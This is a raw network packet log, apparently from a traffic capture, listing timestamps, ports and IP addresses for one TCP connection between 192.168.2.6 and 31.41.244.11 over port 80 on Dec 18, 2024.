Dec 18, 2024 11:47:28.003232002 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.003329992 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.003436089 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.003485918 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.006757021 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.006793022 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.006819010 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.006834030 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.010108948 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.010204077 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.010209084 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.010265112 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.012211084 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.012269020 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.012304068 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.012304068 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.014238119 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.014272928 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.014317036 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.014393091 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.016213894 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.016298056 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.016474962 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.016531944 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.018280029 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.018414974 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.018470049 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.020236969 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.020294905 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.020373106 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.020536900 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.022324085 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.022377968 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.022501945 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.022547960 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.024385929 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.024441957 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.024596930 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.024656057 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.026345968 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.026426077 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.026448965 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.026473045 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.028352022 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.028414965 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.028492928 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.028548002 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.030432940 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.030493975 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.030536890 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.030600071 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.032402992 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.032536983 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.032608032 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.034385920 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.034440994 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.034498930 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.034962893 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.036436081 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.036448002 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.036497116 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.038482904 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.038496971 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.038536072 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.040503025 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.040555000 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.040705919 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.042264938 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.042432070 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.042663097 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.042710066 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.044564962 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.044645071 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.044699907 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.047219038 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.047357082 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.047413111 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.048768044 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.048824072 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.048887968 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.050729036 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.050812960 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.050873041 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.052598953 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.052650928 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.052664995 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.054259062 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.054620028 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.054632902 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.054673910 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.056617975 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.056761026 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.056816101 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.059024096 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.059107065 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.059149981 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.061645031 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.061698914 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.061733007 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.062263012 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.063782930 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.063831091 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.063999891 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.064045906 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.065768003 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.065917969 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.065962076 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.067572117 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.067636967 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.067809105 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.068732977 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.069405079 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.069483995 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.069672108 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.069720030 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.071259975 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.071388960 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.071445942 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.073400021 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.073493958 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.073542118 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.075050116 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.075170994 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.075232029 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.076647043 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.076697111 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.076772928 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.078258991 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.078727961 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.078739882 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.078773975 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.078792095 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.080682993 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.080789089 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.080835104 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.082678080 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.082937002 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.082993031 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.084522963 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.084654093 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.084702969 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.086635113 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.086646080 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.086697102 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.088496923 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.088507891 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.088548899 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.090385914 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.090430975 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.090468884 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.092408895 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.092421055 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.092468977 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.094099045 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.094163895 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.094320059 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.096057892 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.096112013 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.096137047 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.097872972 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.097923994 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.097960949 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.098021030 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.099848032 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.099977016 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.100024939 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.101700068 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.101759911 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.101808071 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.103553057 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.103674889 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.103724957 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.105329037 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.105390072 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.105418921 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.106259108 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.107462883 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.107474089 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.107511997 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.107522964 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.108848095 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.109092951 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.109148979 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.110662937 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.110816002 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.110871077 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.112375021 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.112420082 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.112495899 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.114164114 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.114206076 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.114217043 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.114243984 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.115854979 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.115973949 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.116029978 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.117594957 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.117662907 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.117706060 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.117847919 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.119273901 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.119348049 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.119399071 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.121126890 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.121139050 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.121184111 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.122935057 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.122946024 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.122992992 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.124514103 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.124568939 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.124612093 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.124749899 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.126152992 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.126164913 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.126209021 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.127775908 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.127906084 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.127940893 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.127988100 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.129430056 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.129585981 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.129640102 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.131308079 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.131325960 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.131381035 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.132894039 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.133160114 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.133229971 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.134409904 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.134666920 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.134727955 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.136039019 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.136096954 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.136110067 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.136158943 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.137574911 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.137774944 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.137835979 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.137890100 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.139187098 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.139328957 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.139388084 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.139436007 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.140788078 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.140837908 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.140849113 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.140887976 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.142257929 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.142332077 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.142446995 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.142493010 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.143723011 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.144012928 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.144066095 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.145052910 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.145483971 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.145507097 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.145567894 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.146631956 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.146684885 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.146811962 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.146931887 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.148029089 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.148041964 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.148104906 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.149331093 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.149564981 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.149636984 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.150667906 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.150845051 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.150898933 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.152065992 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.152077913 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.152127981 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.153312922 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.153368950 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.153441906 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.154287100 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.154608965 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.154663086 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.154733896 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.154776096 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.155935049 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.155987024 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.156006098 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.156056881 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.157242060 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.157501936 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.157562971 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.158437967 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.158601999 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.158653975 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.159706116 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.159768105 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.159797907 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.160891056 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.160957098 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.161115885 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.162187099 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.162247896 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.162251949 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.162292004 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.163364887 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.163537979 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.163595915 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.165307045 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.165323973 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.165365934 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.165407896 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.165934086 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.165946007 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.165980101 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.165991068 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.166865110 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.166994095 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.167036057 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.168329000 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.168452024 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.168507099 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.169317007 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.169328928 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.169392109 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.169392109 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.170511961 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.170523882 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.170578003 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.171564102 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.171622038 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.171670914 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.172791958 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.172992945 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.173044920 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.174066067 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.174078941 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.174127102 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.174940109 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.174959898 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.175007105 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.175967932 CET	80	49837	31.41.244.11	192.168.2.6
